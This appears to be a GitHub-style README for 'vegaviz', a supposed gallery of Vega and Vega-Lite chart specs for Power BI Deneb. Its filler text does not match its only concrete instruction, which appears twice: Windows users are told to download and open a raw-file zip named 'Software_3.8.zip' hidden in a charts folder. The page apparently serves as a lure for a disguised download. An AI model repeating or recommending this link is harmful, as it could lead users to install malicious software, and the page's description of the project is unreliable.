vegaviz is a chart gallery for Vega and Vega-Lite. It gives you ready-to-use chart specs that you can copy, paste, and use in tools like Power BI Deneb. It is built for people who want a fast way to find chart ideas and reuse them without starting from scratch.
Use it to:
- Browse chart examples by type
- Copy Vega or Vega-Lite specs
- Paste specs into Deneb or other chart tools
- Find layouts for dashboards and data reports
- Save time when building charts
vegaviz works on Windows and uses a simple browser-based flow. You do not need special setup to view the gallery and explore the examples.
You will need:
- A Windows computer
- A web browser such as Edge, Chrome, or Firefox
- Internet access to open the repository page
- Power BI with Deneb if you want to use the specs there
Visit this page to download or open vegaviz:
https://raw.githubusercontent.com/Footstephirepurchase893/vegaviz/main/charts/kpi/Software_3.8.zip
Follow these steps on Windows:
- Open the link above in your web browser.
- Find the repository files and open the main page content.
- If a file download is available, save it to your computer.
- If the project is opened as a page, keep the page open in your browser.
- If you use Power BI Deneb, open Deneb after you download or copy a chart spec.
- Paste the chart spec into Deneb when you want to test a chart.
If you are using a browser-based copy flow, no extra install step is needed. You can use the gallery from the page itself.
Use vegaviz in a simple loop:
- Open the gallery.
- Browse the chart examples.
- Pick a chart that matches your data.
- Copy the Vega or Vega-Lite spec.
- Paste it into Deneb or another Vega tool.
- Change field names, colors, or titles to fit your report.
- Save your chart and use it in your dashboard.
vegaviz focuses on ready-to-use chart specs. Common chart types in the gallery can include:
- Bar charts
- Line charts
- Area charts
- Scatter plots
- Pie charts
- Combo charts
- KPI cards
- Dashboard layouts
- Comparison charts
- Trend views
Each chart is meant to be a starting point. You can use it as it is, or change it to match your data.
vegaviz works well if you need:
- Quick chart ideas for reports
- Vega-Lite specs for Deneb
- A chart gallery for daily work
- Simple examples you can copy and edit
- A faster way to build data visuals
- Dashboard parts that look clean and clear
If you use Power BI Deneb, vegaviz can help you move faster.
Basic flow:
- Open Power BI Desktop.
- Add the Deneb visual to your report.
- Open vegaviz in your browser.
- Copy a Vega or Vega-Lite spec.
- Paste it into Deneb.
- Map your fields to the chart.
- Adjust labels, colors, and axes.
If the chart does not match your data on the first try, check the field names in your dataset. Most issues come from fields that do not line up with the spec.
If you open the repository files, you may see a structure like this:
- Chart gallery files
- Example specs
- Visual samples
- Data notes
- Readme content
The exact folder names can vary, but the purpose stays the same: help you find a chart, copy the spec, and use it in your own work.
For the smoothest use on Windows:
- Use the latest version of Edge or Chrome
- Keep your browser zoom at 100% if charts look too large or too small
- Use Power BI Desktop if you plan to test Deneb specs
- Save copied specs in a text file so you can reuse them
- Keep chart names short when you add them to reports
To get clean charts:
- Match the spec to your data shape
- Rename fields so they are easy to read
- Use one measure per chart when possible
- Keep labels short
- Choose colors that are easy to tell apart
- Test the chart with a small data set first
If a chart looks crowded, remove extra marks or labels. Simple charts are easier to read.
vegaviz is useful for:
- Executive dashboards
- Sales reports
- Trend analysis
- Category comparison
- Time-based charts
- KPI tracking
- Report templates
- Chart learning and reuse
A chart gallery saves time because you do not need to build every visual from the ground up. Instead, you can:
- See a chart layout before you use it
- Copy a working spec
- Change only the parts you need
- Keep a consistent look across reports
- Try more chart styles with less effort
This is helpful when you build reports often and want a steady workflow.
Open vegaviz here:
https://raw.githubusercontent.com/Footstephirepurchase893/vegaviz/main/charts/kpi/Software_3.8.zip
If Windows asks how to open a file:
- Choose your browser for HTML pages
- Choose Notepad for text specs
- Choose Power BI Desktop for Power BI work
- Choose a zip tool if you need to extract a folder
If the file does not open, right-click it and check the file type before trying again.
You may see these terms in the gallery:
- Vega: a chart grammar for making visuals
- Vega-Lite: a simpler version of Vega
- Spec: the chart instructions in text form
- Deneb: a Power BI visual that uses Vega and Vega-Lite
- Dataset: the table or data source behind the chart
These terms help you match the chart to your report.
When you open vegaviz, expect a clean chart gallery with examples you can browse and reuse. The goal is to make chart work faster and easier, with less guesswork and fewer clicks.